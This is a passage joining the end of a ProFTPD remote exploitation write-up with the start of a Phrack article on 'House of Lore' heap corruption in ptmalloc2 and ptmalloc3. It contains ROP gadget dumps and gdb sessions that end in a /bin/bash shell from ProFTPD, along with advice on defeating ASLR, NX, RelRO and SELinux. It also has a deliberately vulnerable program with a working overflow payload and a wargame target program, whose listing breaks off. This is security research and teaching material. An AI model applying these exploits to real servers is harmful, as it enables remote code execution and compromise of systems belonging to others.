[/usr/sbin/proftpd] 0x0805b10a 8944240c89d02b4308894424088b431089142489442404ff53 0x0805b81d 894424048b450c890424ffd2 0x0805cd62 8944240c8b4310894424088b4208894424048b4204890424ffd7 0x0805e158 8944240889742404c70424df7b0d08ffd7 0x08063ed8 8944240c8b431c894424088b4318894424048b4314890424ff53 0x080706cc 895424048b5508891424ff50 0x08070720 89442404a13cd80e088b5508891424ff50 0x08070754 89442404a144d80e088b5508891424ff50 0x08070787 89442404a140d80e088b5508891424ff50 0x08070a84 89542404ff50 0x08070acb 89442404a13cd80e08ff50 0x08070af3 89442404a144d80e08ff50 0x08070b5a 89442404a140d80e08ff50 0x08070cc2 89542404ff50 0x08070ce3 89442404a13cd80e08ff50 0x08070d0b 89442404a144d80e08ff50 0x08070d4a 89442404a140d80e08ff50 0x08072081 8944240ca184ec0e08890424ffd2 0x08072127 8944240c8b4604c744240462c20c0889442408a184ec0e08890424ffd2 0x080721da 8944240ca184ec0e08890424ffd2 0x0807222b 8944240c8b4604c74424046ac20c0889442408a184ec0e08890424ffd2 0x080722ac 89442408a184ec0e08890424ffd2 0x0807824b 894424088954240c8b460489342489442404ff53 0x080782f2 8954240c894424088b460489342489442404ff53 0x08078388 8944240c8b450c894424088b460489342489442404ff53 0x08078468 8944240c8b450c894424088b460489342489442404ff53 0x08078798 894424088b460489342489442404ff53 0x08078a4b 89442404ff53 0x08079b08 8944240889742404891c24ffd2 0x08079bf2 8944240c8b450c89442408ff53 0x08079c93 89442404ff53 0x08079d1c 89442404ff53 0x0807a16c 8944240c8b450c89442408ff53 0x0807a264 89442408ff53 0x0807a7e7 89442408ffd6 0x0807c7d3 89442404ff53 0x0807c85c 89442404ff53 0x0807cc9c 8944240c8b450c89442408ff53 0x0807e412 89542408894c2404893424ffd3 0x0807f209 89442404ffd7 0x0807f222 89442404ffd7 0x0807f262 89442404ffd7 After spending some time looking at the output, we find one that fits the bill, and is absolutely perfect. (gdb) x/10i 0x08063ed8 0x8063ed8 : mov %eax,0xc(%esp) 0x8063edc : mov 0x1c(%ebx),%eax 0x8063edf : mov %eax,0x8(%esp) 0x8063ee3 : mov 0x18(%ebx),%eax 0x8063ee6 : mov %eax,0x4(%esp) 0x8063eea : mov 0x14(%ebx),%eax 0x8063eed : mov %eax,(%esp) 0x8063ef0 : call *0xc(%ebx) If we execute from 0x8063ee3, it does the job perfectly. It will load pointers from $ebx (which we can populate however we want), and stick them on the stack, then jump to an address we want. We will need a program to execute, and a pointer to NULL. We can craft the fakeauth attempt as: ...memory stuff...AAAABBBBCCCC.../bin/sh or /usr/bin/python (as it's important to have NULL termination, which will be provided). Hardware assisted breakpoint 1 at 0x8063ee3: file support.c, line 132. Breakpoint 1, 0x08063ee3 in run_schedule () at support.c:132 132 s->f(s->a1,s->a2,s->a3,s->a4); Missing separate debuginfos, use: debuginfo-install audit-libs-1.7.13-1.fc10.i386 e2fsprogs-libs-1.41.4-6.fc10.i386 keyutils-libs-1.2-3.fc9.i386 krb5-libs-1.6.3-18.fc10.i386 libattr-2.4.43-2.fc10.i386 libselinux-2.0.78-1.fc10.i386 mysql-libs-5.0.84-1.fc10.i386 zlib-1.2.3-18.fc9.i386 (gdb) x/8i $eip 0x8063ee3 : mov 0x18(%ebx),%eax 0x8063ee6 : mov %eax,0x4(%esp) 0x8063eea : mov 0x14(%ebx),%eax 0x8063eed : mov %eax,(%esp) 0x8063ef0 : call *0xc(%ebx) (gdb) x/x $ebx+0x18 0x80ed94b : 0x48484848 (gdb) x/x $ebx+0x14 0x80ed947 : 0x47474747 (gdb) x/x $ebx+0xc 0x80ed93f : 0x45454545 We can replace HHHH with resp_buf + 400 to point to NULL, we can put in our offset for the program to execute in GGGG, and our execv code at EEEE, which will be: 080526b8 : 80526b8: ff 25 a4 46 0e 08 jmp *0x80e46a4 80526be: 68 00 05 00 00 push $0x500 80526c3: e9 e0 f5 ff ff jmp 8051ca8 <_init+0x30> Putting those together, we then see: Breakpoint 1, 0x08063ee3 in run_schedule () at support.c:132 132 s->f(s->a1,s->a2,s->a3,s->a4); (gdb) c Continuing. [New process 22952] Executing new program: /bin/bash warning: Cannot initialize thread debugging library: generic error Due to alarm() being called in ProFTPD, you'll have to reset it / catch it / block it (the "trap" command in bash should be able to do this for you), otherwise the connection will drop out some time later on. If PIE was enabled, and the binary ended up past 0x01000000, we could brute force it and still gain code execution. The only problem now to deal with is with SELinux restrictions. Any decent kernel exploit will disable that for you ;) ------[ 4.2 - Potential enhancements ] There are a variety of enhancements that could be done to make the exploit better in a variety of ways, such as a known target lists, bruteforce ability (both offset and tags, if necessary. Timing attacks may be useful), porting it to metasploit so you have the advantage of changing shellcodes, etc. Also, more work would be required against distributions, because if ProFTPD is compiled with shared library support, using time() as an offset may change ;) Additionally, it may be possible that some distributions require different ways due to charcter restrictions. Further research would be needed in common ProFTPD w/ mod_sql.c configuration guides in order to see what table names / fields are used. Further experimentation with the pool implementation in ProFTPD might be in order, as perhaps it would be possible to work out a generic fake/trigger string that would work in all cases. Since the SQL injection fix, the bug is no longer remote root pre auth via USER handling it has lost a lot of it's sexiness <;-P~ Don't know if the bug is reachable through authentication.. if it is, there's a lot more work involved due to dropped privileges, potential chroot()ing, and so on. At least RootRevoke isn't enabled by default according to some random documentation I was reading :p ------[ 4.3 - Last thoughts ] Initial experimentation of the vulnerability with constraint solvers was interesting, however, in hindsight, just replicating the constraint checks and random generation would of been a better idea. Same goes for using GA to mutate input strings, though the GA use was worse because the metrics used was pretty bad. In hindsight, I had a solution looking for a problem. Additionally, [11] has some more information regarding this vulnerability when you consider the timing aspect of heap massages. --[ 5 - Discussion of hardening techniques against exploitation ] It's always fun to consider the effects of various hardening techniques against exploitation, and if it helps mitigate the issue. Here's some thoughts on the matter. ------[ 5.1 - Address Space Layout Randomisation ] If the binary is not compiled as a position independent executable (PIE) binary, ASLR is not much of a problem as we target the GOT for storing the shellcode. We require only one offset, and on non-PIE binaries, we should be in luck. ------[ 5.2 - Non-executable Memory ] With kernels using PAE and hardware supported NX-bit will break our shellcode approach, however, it will not affect our approach used in "Cleanup structure crash". With kernels that use CS limit to approximate non executable memory, it may be possible that a higher region of memory is marked executable, and thus our shellcode region is executable. The metasploit stager shellcode reads onto the stack and jumps to it, so cs limit approximation would block that attempt. A suitable mprotect() call could fix it though. It may be possible use the overflow to make ProFTPD think we have been authenticated, without requiring any shellcode. Assuming the pool memory layout is not irreparably harmed, we may be able to do some interesting things. ------[ 5.3 - Position Independent Executable Binaries ] In case of PIE, it would be feasible to brute force the randomisation as ProFTPD fork()s for each client connection. In order to make the most of ASLR, ProFTPD would have to fork+execve() itself, or be configured to use xinetd/inetd (which would probably be a significant performance problem on busy sites). Using fork+execve() would be the best approach as it would require least changes by the user except an update to ProFTPD. The avenue we are using for exploitation does not lend itself to off-by-X overwrites, as our contents is appended by ')\x00, which restricts the characters we can use dramatically. As for information leaks, I have seen heap address info leaks when the server replies with "Password needed for ". This may be useful at some stage if a different avenue is needed for exploitation. Unfortunately, ProFTPD frequently uses pcalloc() which reduces the potential for info leaks in some other cases. ------[ 5.4 - Stack Protector ] SSP does not play much of a part as we are not overwriting the stack, and nor are we abusing a libc function to overwrite contents (due to recent instrumentation added to gcc/glibc/so on). So far, targeting the stack seems irrelevant, and due to ASLR being in modern kernels, not that useful. ------[ 5.5 - RelRO ] If readonly relocations is enabled on the target binary, (and being enforced/enabled properly) it will break our current avenue of overwriting the GOT table to gain control of execution. However, it may be possible to target .bss heap pointers in ProFTPD that get called. (objdump -tr /usr/local/sbin/proftpd | grep bss | grep 0004 or so should find potential function pointers :p) Assuming non-executable memory is not in use, the BSS provides a suitable location to store our shellcode, due to the proctitle.c code. --[ 6 - References [1] http://www.proftpd.org [2] http://labix.org/python-constraint [3] http://bitbucket.org/haypo/python-ptrace/ [4] http://pyevolve.sourceforge.net/ [5] http://www.castaglia.org/proftpd/doc/devel-guide/introduction.html [6] http://www.phreedom.org/solar/exploits/proftpd-ascii/ [7] ga_exp_find.py in the attached code.. my bash history says I used it with python ga_exp_find.py -o 32 -i 127.0.0.1 -U -s f .. for what it's worth :p [8] http://dev.mysql.com/doc/refman/5.0/en/string-syntax.html [9] code/final_exploit/exploit.py [10] code/final_exploit/exploitsc.py [11] http://felinemenace.org/~andrewg/Timing_attacks_and_heap_exploitation/ --[ 7 - Code ----EOF---- ==Phrack Inc.== Volume 0x0e, Issue 0x43, Phile #0x08 of 0x10 |=-----------------------------------------------------------------------=| |=-------------------=[ The House Of Lore: Reloaded ]=-------------------=| |=-------------=[ ptmalloc v2 & v3: Analysis & Corruption ]=-------------=| |=-----------------------------------------------------------------------=| |=--------------------------=[ by blackngel ]=-------------------------=| |=-----------------------------------------------------------------------=| ^^ *`* @@ *`* HACK THE WORLD * *--* * ## || * * * * (C) Copyleft 2010 everybody _* *_ --[ CONTENTS 1 - Preface 2 - Introduction 2.1 - KiddieDbg Ptmalloc2 2.2 - SmallBin Corruption 2.2.1 - Triggering The HoL(e) 2.2.2 - A More Confusing Example 3 - LargeBin Corruption Method 4 - Analysis of Ptmalloc3 4.1 - SmallBin Corruption (Reverse) 4.2 - LargeBin Method (TreeBin Corruption) 4.3 - Implement Security Checks 4.3.1 - Secure Heap Allocator (Utopian) 4.3.2 - dnmalloc 4.3.3 - OpenBSD malloc 5 - Miscellany, ASLR and More 6 - Conclusions 7 - Acknowledgments 8 - References 9 - Wargame Code --[ END OF CONTENTS .-----------. ---[ 1 ---[ Preface ]--- .-----------. No offense, I could say that sometimes the world of hackers (at least) is divided into two camps: 1.- The illustrious characters who spend many hours to find holes in the current software. 2.- And the hackers who spend most of their time to find a way to exploit a vulnerable code/environment that does not exist yet. Maybe, it is a bit confusing but this is like the early question: which came first, the chicken or the egg? Or better... Which came first, the bug or the exploit? Unlike what happens with an ordinary Heap Overflow, where we could say it's the logical progression over time of a Stack Overflow, with The House of Lore technique seems to happen something special and strange, we know it's there (a thorn in your mind), that something happens, something is wrong and that we can exploit it. But we do not know how to do it. And that is all over this stuff, we know the technique (at least the Phantasmal Phantasmagoria explanation), but perhaps has anyone seen a sample vulnerable code that can be exploited? Maybe someone is thinking: well, if the bug exists and it is an ordinary Heap Overflow... 1.- What are the conditions to create a new technique? 2.- Why a special sequence of calls to malloc( ) and free( ) allows a specific exploit technique and why another sequence needs other technique? 3.- What are the names of those sequences? Are the sequences a bug or is it pure luck? This can give much food for thought. If Phantasmal had left a clear evidence of his theory, surely we would have forgotten about it, but as this did not happened, some of us are spending all day analyzing the way to create a code that can be committed with a technique that a virtual expert gave us in 2005 in a magnificent article that everyone already knows, right? We speak about "Malloc Maleficarum" [1], great theory that I myself had the opportunity to demonstrate in practice in the "Malloc Des-Maleficarum" [2] article. But unfortunately I left a job unresolved yet. In the pas I was not able to interpret so correct one of the techniques that were presented by Phantasmal, we speak of course of "The House of Lore" technique, but in a moment of creativity it seems that I finally found a solution. Here I submit the details of how a vulnerable code can be attacked with The House of Lore (THoL from now), thus completing a stage that for some reason was left unfinished. In addition, we will target not only the smallbin corruption method which many have heard of, but we also introduce the complications in largebin method and how to solve them. I also present two variants based on these techniques that I have found to corrupt the Ptmalloc3 structure. There are also more content in this paper like a small program where to apply one of the techniques can be exploited, it is very useful for an exploiting-wargame. And... yes, THoL was exactly the thorn that I had into my mind. << One can resist the invasion of an army but one cannot resist the invasion of ideas. >> [ Victor Hugo ] .----------------. ---[ 2 ---[ Introduction ]--- .----------------. Then, before starting with practical examples, we reintroduce the technical background of the THoL. While that one might take the Phantasmal's theory as the only support for subsequent descriptions, we will offer a bigger and more deep approach to the subject and also some small indications on how you can get some information from Ptmalloc2 in runtime without having to modify or recompile your personal GlibC. We mention that dynamic hooks could be a better way to this goal. More control, more conspicuous. << Great spirits have always encountered violent opposition from mediocre minds. >> [ Albert Einstein ] .-----------------------. ---[ 2.1 ---[ KiddieDbg Ptmalloc2 ]--- .-----------------------. In an effort to make things easier to the reader when we will perform all subsequent tests, let's indicate the simple way you can use PTMALLOC2 to obtain the necessary information from within each attack. To avoid the tedious task of recompiling GLIBC when one makes a minor change in "malloc.c", we decided to directly download the sources of ptmalloc2 from: http://www.malloc.de/malloc/ptmalloc2-current.tar.gz. Then we compiled it in a Kubuntu 9.10 Linux distribution (it will not be a great effort to type a make) and you can directly link it as a static library to each of our examples like this: gcc prog.c libmalloc.a -o prog However, before compiling this library, we allowed ourselves the luxury of introducing a pair of debugging sentences. To achieve this we made use of a function that is not accessible to everybody, one has to be very eleet to know it and only those who have been able to escape to Matrix have the right to use it. This lethal weapon is known among the gurus as "printf( )". And now, enough jokes, here are the small changes in "malloc.c" to get some information at runtime: ----- snip ----- Void_t* _int_malloc(mstate av, size_t bytes) { .... checked_request2size(bytes, nb); if ((unsigned long)(nb) <= (unsigned long)(av->max_fast)) { ... } if (in_smallbin_range(nb)) { idx = smallbin_index(nb); bin = bin_at(av,idx); if ( (victim = last(bin)) != bin) { printf("\n[PTMALLOC2] -> (Smallbin code reached)"); printf("\n[PTMALLOC2] -> (victim = [ %p ])", victim); if (victim == 0) /* initialization check */ malloc_consolidate(av); else { bck = victim->bk; printf("\n[PTMALLOC2] -> (victim->bk = [ %p ])\n", bck); set_inuse_bit_at_offset(victim, nb); bin->bk = bck; bck->fd = bin; if (av != &main_arena) victim->size |= NON_MAIN_ARENA; check_malloced_chunk(av, victim, nb); return chunk2mem(victim); } } } ----- snip ----- Here we can know when a chunk is extracted from its corresponding bin to satisfy a memory request of appropriate size. In addition, we can control the pointer value that takes the "bk" pointer of a chunk if it has been previously altered. ----- snip ----- use_top: victim = av->top; size = chunksize(victim); if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) { ........ printf("\n[PTMALLOC2] -> (Chunk from TOP)"); return chunk2mem(victim); } ----- snip ----- Here you simply provide a warning to be aware of when a memory request is served from the Wilderness chunk (av->top). ----- snip ----- bck = unsorted_chunks(av); fwd = bck->fd; p->bk = bck; p->fd = fwd; bck->fd = p; fwd->bk = p; printf("\n[PTMALLOC2] -> (Freed and unsorted chunk [ %p ])", p); ----- snip ----- Unlike the first two changes which were introduced in the "_int_malloc( )" function, the latter did it in "_int_free( )" and clearly indicates when a chunk has been freed and introduced into the unsorted bin for a further use of it. << I have never met a man so ignorant that I couldn't learn something from him. >> [ Galileo Galilei ] .-----------------------. ---[ 2.2 ---[ SmallBin Corruption ]--- .-----------------------. Take again before starting the piece of code that will trigger the vulnerability described in this paper: ----- snip ----- if (in_smallbin_range(nb)) { idx = smallbin_index(nb); bin = bin_at(av,idx); if ( (victim = last(bin)) != bin) { if (victim == 0) /* initialization check */ malloc_consolidate(av); else { bck = victim->bk; set_inuse_bit_at_offset(victim, nb); bin->bk = bck; bck->fd = bin; if (av != &main_arena) victim->size |= NON_MAIN_ARENA; check_malloced_chunk(av, victim, nb); return chunk2mem(victim); } ----- snip ----- To reach this area of the code inside "_int_malloc( )", one assumes the fact that the size of memory request is largest that the current value of "av->max_fast" in order to pass the first check and avoid fastbin[ ] utilization. Remember that this value is "72" by default. This done, then comes the function "in_smallbin_range(nb)" which checks in turn if the chunk of memory requested is less than that MIN_LARGE_SIZE, defined to 512 bytes in malloc.c. We know from the documentation that: "the size bins for less than 512 bytes contain always the same size chunks". With this we know that if a chunk of a certain size has been introduced in its corresponding bin, a further request of the same size will find the appropriate bin and will return the previously stored chunk. The functions "smallbin_index(nb)" and "bin_at(av, idx)" are responsible for finding the appropriate bin for the chunk requested. We also know that a "bin" is a couple of pointers "fd" and "bk", the purpose of the pointers is to close the doubly linked list of the free chunks. The macro "last(bin)" returns the pointer "bk" of this "fake chunk", it also indicates the last available chunk in the bin (if any). If none exists, the pointer "bin->bk" would be pointing to itself, then it will fail the search and it would be out of the smallbin code. If there is an available chunk of adequate size, the process is simple. Before being returned to the caller, it must be unlinked from the list and, in order to do it, malloc uses the following instructions: 1) bck = victim->bk; // bck points to the penultimate chunk 2) bin->bk = bck; // bck becomes the last chunk 3) bck->fd = bin; // fd pointer of the new last chunk points to the bin to close the list again If all is correct, the user is given the pointer *mem of victim by the macro "chunk2mem(victim)." The only extra tasks in this process are to set the PREV_INUSE bit of the contiguous chunk, and also to manage the NON_MAIN_ARENA bit if victim is not in the main arena by default. And here is where the game starts. The only value that someone can control in this whole process is obviously the value of "victim->bk". But to accomplish this, a necessary condition must be satisfied: 1 - That two chunks have been allocated previously, that the latter has been freed and that the first will be vulnerable to an overflow. If this is true, the overflow of the first chunk will allow to manipulate the header of the already freed second chunk, specifically the "bk" pointer because other fields are not interesting at this time. Always remember that the overflow must always occur after the release of this second piece, and I insist on it because we do not want to blow the alarms within "_int_free()" before its time. As mentioned, if this manipulated second piece is introduced in its corresponding bin and a new request of the same size is performed, the smallbin code is triggered, and therefore come to the code that interests us. "bck" is pointing to the altered "bk" pointer of victim and as a result, will become the last piece in "bin->bk = bck". Then a subsequent call to malloc( ) with the same size could deliver a chunk in the position of memory with which we had altered the "bk" pointer, and if this were in the stack we already know what happens. In this attack one must be careful with the sentence "bck->fd = bin" since this code tries to write to the pointer "fd" the bin's address to close the linked list, this memory area must have writing permissions. The only last thing really important for the success of our attack: When a chunk is freed, it is inserted into the known "unsorted bin". This is a special bin, also a doubly linked list, with the peculiarity that the chunks are not sorted (obviously) according to the size. This bin is like a stack, the chunks are placed in this bin when they are freed and the chunks will always been inserted in the first position. This is done with the intention that a subsequent call to "malloc( ), calloc( ) or realloc( )" can make use of this chunk if its size can fulfill the request. This is done to improve efficiency in the memory allocation process as each chunk introduced in the unsorted bin has a chance to be reused immediately without going through the sorting algorithm. How does this process work? All begins within "_int_malloc( )" with the next loop: while ( (victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) then takes the second last piece of the list: bck = victim->bk checks if the memory request is within "in_smallbin_range( )", and it is checked whether the request could be met with victim. Otherwise, proceed to remove victim from unsorted bin with: unsorted_chunks(av)->bk = bck; bck->fd = unsorted_chunks(av); which is the same as saying: the bin points to the penultimate chunk, and the penultimate chunk points to the bin which becomes the latest chunk in the list. Once removed from the list, two things can happen. Either the size of the removed chunk matches with the request made (size == nb) in which case it returns the memory for this chunk to the user, or it does not coincide and that's when we proceed to introduce the chunk in the adequate bin with: bck = bin_at(av, victim_index); fwd = bck->fd; ..... ..... victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim; Why do we mention this? Well, the condition that we mentioned requires that the freed and manipulated chunk will be introduced in its appropriate bin, since as Phantasmal said, altering an unsorted chunk is not interesting at this time. With this in mind, our vulnerable program should call malloc( ) between the vulnerable copy function and the subsequent call to malloc( ) requesting the same size as the chunk recently freed. In addition, this intermediate call to malloc( ) should request a size larger than the released one, so that the request can not be served from unsorted list of chunks and proceeds to order the pieces into their respective bins. We note before completing this section that a bin of a real-life application might contain several chunks of the same size stored and waiting to be used. When a chunk comes from unsorted bin, that is inserted into its appropriate bin as the first in the list, and according to our theory, our altered chunk is not being used until it occupies the last position (last(bin)). If this occurs, multiple calls to malloc( ) with the same size must be triggered so that our chunk reaches the desired position in the circular list. At that point, the "bk" pointer must be hacked. Graphically would pass through these stages: Stage 1: Insert victim into smallbin[ ]. bin->bk ___ bin->fwd o--------[bin]----------o ! ^ ^ ! [last]-------| |-------[victim] ^| l->fwd v->bk ^| |! |! [....] [....] \\ // [....] [....] ^ |____________^ | |________________| Stage 2: "n" calls to malloc( ) with same size. bin->bk ___ bin->fwd o--------[bin]----------o ! ^ ^ ! [victim]------| |--------[first] ^| v->fwd f->bk ^| |! |! [....] [....] \\ // [....] [....] ^ |____________^ | |________________| Stage 3: Overwrite "bk" pointer of victim. bin->bk ___ bin->fwd o--------[bin]----------o & stack ! ^ ^ ! ^--------[victim]------| |--------[first] v->bk ^ v->fwd f->bk ^| | |! [....] [....] \\ // [....] [....] ^ |____________^ | |________________| Stage 4: Last call to malloc( ) with same size. bin->bk ___ bin->fwd o--------[bin]----------o & -w- perm ! ^ ^ ! ^--------[&stack]------| |--------[first] v->bk ^ v->fwd f->bk ^| | |! [....] [....] \\ // [....] [....] ^ |____________^ | |________________| It is where the pointer "*mem" is returned pointing to the stack and thus giving full control of the attacked system. However as there are people who need to see to believe, read on next section. Note: I have not checked all versions of glibc, and some changes have been made since I wrote this paper. For example, on an Ubuntu box (with glibc 2.11.1) we see the next fix: ----- snip ----- bck = victim->bk; if (__builtin_expect (bck->fd != victim, 0)) { errstr = "malloc(): smallbin double linked list corrupted"; goto errout; } set_inuse_bit_at_offset(victim, nb); bin->bk = bck; bck->fd = bin; ----- snip ----- This check can still be overcome if you control an area into the stack and you can write an integer such that its value is equal to the address of the recently free chunk (victim). This must happen before the next call to malloc( ) with the same size requested. << The grand aim of all science is to cover the greatest number of empirical facts by logical deduction from the smallest number of hypotheses or axioms. >> [ Albert Einstein ] .-------------------------. ---[ 2.2.1 ---[ Triggering The HoL(e) ]--- .-------------------------. After the theory... A practical example to apply this technique, here is a detailed description: ---[ thl.c ]--- #include #include void evil_func(void) { printf("\nThis is an evil function. You become a cool \ hacker if you are able to execute it.\n"); } void func1(void) { char *lb1, *lb2; lb1 = (char *) malloc(128); printf("LB1 -> [ %p ]", lb1); lb2 = (char *) malloc(128); printf("\nLB2 -> [ %p ]", lb2); strcpy(lb1, "Which is your favourite hobby? "); printf("\n%s", lb1); fgets(lb2, 128, stdin); } int main(int argc, char *argv[]) { char *buff1, *buff2, *buff3; malloc(4056); buff1 = (char *) malloc(16); printf("\nBuff1 -> [ %p ]", buff1); buff2 = (char *) malloc(128); printf("\nBuff2 -> [ %p ]", buff2); buff3 = (char *) malloc(256); printf("\nBuff3 -> [ %p ]\n", buff3); free(buff2); printf("\nBuff4 -> [ %p ]\n", malloc(1423)); strcpy(buff1, argv[1]); func1(); return 0; } ---[ end thl.c ]--- The program is very simple, we have a buffer overflow in "buff1" and an "evil_func( )" function which is never called but which we want to run. In short we have everything we need in order to trigger THoL: 1) Make a first call to malloc(4056), it shouldn't be necessary but we use to warm up the system. Furthermore, in a real-life application the heap probably won't be starting from scratch. 2) We allocate three chunks of memory, 16, 128 and 256 bytes respectively, since no chunks has been released before, we know that they must been taken from the Wilderness or Top Chunk. 3) Free() the second chunk of 128 bytes. This is placed in the unsorted bin. 4) Allocate a fourth piece larger than the most recently freed chunk. The "buff2" is now extracted from the unsorted list and added to its appropriate bin. 5) We have a vulnerable function strcpy( ) that can overwrite the header of the chunk previously passed to free( ) (including its "bk" field). 6) We call func1( ) which allocated two blocks of 128 bytes (the same size as the piece previously released) to formulate a question and get a user response. It seems that in point 6 there is nothing vulnerable, but everyone knows that if "LB2" point to the stack, then we may overwrite a saved return address. That is our goal, and we will see this approach. A basic execution could be like this: black@odisea:~/ptmalloc2$ ./thl AAAA [PTMALLOC2] -> (Chunk from TOP) Buff1 -> [ 0x804ffe8 ] [PTMALLOC2] -> (Chunk from TOP) Buff2 -> [ 0x8050000 ] [PTMALLOC2] -> (Chunk from TOP) Buff3 -> [ 0x8050088 ] [PTMALLOC2] -> (Freed and unsorted chunk [ 0x804fff8 ]) [PTMALLOC2] -> (Chunk from TOP) Buff4 -> [ 0x8050190 ] [PTMALLOC2] -> (Smallbin code reached) [PTMALLOC2] -> (victim = [ 0x804fff8 ]) [PTMALLOC2] -> (victim->bk = [ 0x804e188 ]) LB1 -> [ 0x8050000 ] [PTMALLOC2] -> (Chunk from TOP) LB2 -> [ 0x8050728 ] Which is your favourite hobby: hack black@odisea:~/ptmalloc2$ We can see that the first 3 malloced chunks are taken from the TOP, then the second chunk (0x0804fff8) is passed to free() and placed in the unsorted bin. This piece will remain here until the next call to malloc( ) will indicate whether it can meet the demand or not. Since the allocated fourth buffer is larger than the recently freed, it's taken again from TOP, and buff2 is extracted from unsorted bin to insert it into the bin corresponding to its size (128). After we see how the next call to malloc(128) (lb1) triggers smallbin code returning the same address that the buffer previously freed. You can see the value of "victim->bk" which is what should take (lb2) after this address had been passed to the chunk2mem( ) macro. However, we can see in the output: the lb2 is taken from the TOP and not from a smallbin. Why? Simple, we've just released a chunk (only had a piece in the corresponding bin to the size of this piece) and since we have not altered the "bk" pointer of the piece released, the next check: if ( (victim = last(bin)) != bin) which is the same as: if ( (victim = (bin->bk = oldvictim->bk)) != bin) will say that the last piece in the bin points to the bin itself, and therefore, the allocation must be extracted from another place. Until here all right, then, what do we need to exploit the program? 1) Overwrite buff2->bk with an address on the stack near a saved return address (inside the frame created by func1( )). 2) This address, in turn, must fall on a site such that the "bk" pointer of this fake chunk will be an address with write permissions. 3) The evil_func()'s address with which we want to overwrite EIP and the necessary padding to achieve the return address. Let's start with the basics: If we set a breakpoint in func1( ) and examine memory, we get: (gdb) x/16x $ebp-32 0xbffff338: 0x00000000 0x00000000 0xbffff388 0x00743fc0 0xbffff348: 0x00251340 0x00182a20 0x00000000 0x00000000 0xbffff358: 0xbffff388 0x08048d1e 0x0804ffe8 0xbffff5d7 0xbffff368: 0x0804c0b0 0xbffff388 0x0013f345 0x08050088 EBP -> 0xbffff358 RET -> 0xbffff35C But the important thing here is that we must alter buff2->bk with the "0xbffff33c" value so the new victim->bk take a writable address. Items 1 and 2 passed. The evil_func()'s address is: (gdb) disass evil_func Dump of assembler code for function evil_func: 0x08048ba4 : push %ebp And now, without further delay, let's see what happens when we merge all these elements into a single attack: black@odisea:~/ptmalloc2$ perl -e 'print "BBBBBBBB". "\xa4\x8b\x04\x08"' > evil.in ... (gdb) run `perl -e 'print "A"x28 . "\x3c\xf3\xff\xbf"'` < evil.in [PTMALLOC2] -> (Chunk from TOP) Buff1 -> [ 0x804ffe8 ] [PTMALLOC2] -> (Chunk from TOP) Buff2 -> [ 0x8050000 ] [PTMALLOC2] -> (Chunk from TOP) Buff3 -> [ 0x8050088 ] [PTMALLOC2] -> (Freed and unsorted chunk [ 0x804fff8 ]) [PTMALLOC2] -> (Chunk from TOP) Buff4 -> [ 0x8050190 ] [PTMALLOC2] -> (Smallbin code reached) [PTMALLOC2] -> (victim = [ 0x804fff8 ]) [PTMALLOC2] -> (victim->bk = [ 0xbffff33c ]) // First stage of attack LB1 -> [ 0x8050000 ] [PTMALLOC2] -> (Smallbin code reached) [PTMALLOC2] -> (victim = [ 0xbffff33c ]) // Victim in the stack [PTMALLOC2] -> (victim->bk = [ 0xbffff378 ]) // Address with write perms LB2 -> [ 0xbffff344 ] // Boom! Which is your favourite hobby? This is an evil function. You become a cool hacker if you are able to execute it. // We get a cool msg. Program received signal SIGSEGV, Segmentation fault. 0x08048bb7 in evil_func () (gdb) You must be starting to understand now what I wanted to explain in the preface of this article, instead of discovering or inventing a new technique, what we have been doing for a long time is to find the way to design a vulnerable application to this technique which had fallen us from the sky a few years ago. Compile this example with normal GLIBC and you will get the same result, only remember adjusting evil_func( ) address or the area where you have stored your custom arbitrary code. << The unexamined life is not worth living. >> [ Socrates ] .----------------------------. ---[ 2.2.2 ---[ A More Confusing Example ]--- .----------------------------. To understand how THoL could be applied in a real-life application, I present below a source code created by me as if it were a game, that will offer a broader view of the attack. This is a crude imitation of an agent manager. The only thing this program can do is creating a new agent, editing it (ie edit their names and descriptions) or deleting it. To save space, one could edit only certain fields of an agent, leaving the other free without taking up memory or freeing when no longer needed. In addition, to avoid unnecessary extensions in this paper, the entire information entered into the program is not saved in any database and only remains available while the application is in execution. ---[ agents.c ]--- #include #include #include void main_menu(void); void create_agent(void); void select_agent(void); void edit_agent(void); void delete_agent(void); void edit_name(void); void edit_lastname(void); void edit_desc(void); void delete_name(void); void delete_lastname(void); void delete_desc(void); void show_data_agent(void); typedef struct agent { int id; char *name; char *lastname; char *desc; } agent_t; agent_t *agents[256]; int agent_count = 0; int sel_ag = 0; int main(int argc, char *argv[]) { main_menu(); } void main_menu(void) { int op = 0; char opt[2]; printf("\n\t\t\t\t[1] Create new agent"); printf("\n\t\t\t\t[2] Select Agent"); printf("\n\t\t\t\t[3] Show Data Agent"); printf("\n\t\t\t\t[4] Edit agent"); printf("\n\t\t\t\t[0] <- EXIT"); printf("\n\t\t\t\tSelect your option:"); fgets(opt, 3, stdin); op = atoi(opt); switch (op) { case 1: create_agent(); break; case 2: select_agent(); break; case 3: show_data_agent(); break; case 4: edit_agent(); break; case 0: exit(0); default: break; } main_menu(); } void create_agent(void) { agents[agent_count] = (agent_t *) malloc(sizeof(agent_t)); sel_ag = agent_count; agents[agent_count]->id = agent_count; agents[agent_count]->name = NULL; agents[agent_count]->lastname = NULL; agents[agent_count]->desc = NULL; printf("\nAgent %d created, now you can edit it", sel_ag); agent_count += 1; } void select_agent(void) { char ag_num[2]; int num; printf("\nWrite agent number: "); fgets(ag_num, 3, stdin); num = atoi(ag_num); if ( num >= agent_count ) { printf("\nOnly %d available agents, select another", agent_count); } else { sel_ag = num; printf("\n[+] Agent %d selected.", sel_ag); } } void show_data_agent(void) { printf("\nAgent [%d]", agents[sel_ag]->id); printf("\nName: "); if(agents[sel_ag]->name != NULL) printf("%s", agents[sel_ag]->name); printf("\nLastname: "); if(agents[sel_ag]->lastname != NULL) printf("%s", agents[sel_ag]->lastname); printf("\nDescription: "); if(agents[sel_ag]->desc != NULL) printf("%s", agents[sel_ag]->desc); } void edit_agent(void) { int op = 0; char opt[2]; printf("\n\t\t\t\t[1] Edit name"); printf("\n\t\t\t\t[2] Edit lastname"); printf("\n\t\t\t\t[3] Edit description"); printf("\n\t\t\t\t[4] Delete name"); printf("\n\t\t\t\t[5] Delete lastname"); printf("\n\t\t\t\t[6] Delete description"); printf("\n\t\t\t\t[7] Delete agent"); printf("\n\t\t\t\t[0] <- MAIN MENU"); printf("\n\t\t\t\tSelect Agent Option: "); fgets(opt, 3, stdin); op = atoi(opt); switch (op) { case 1: edit_name(); break; case 2: edit_lastname(); break; case 3: edit_desc(); break; case 4: delete_name(); 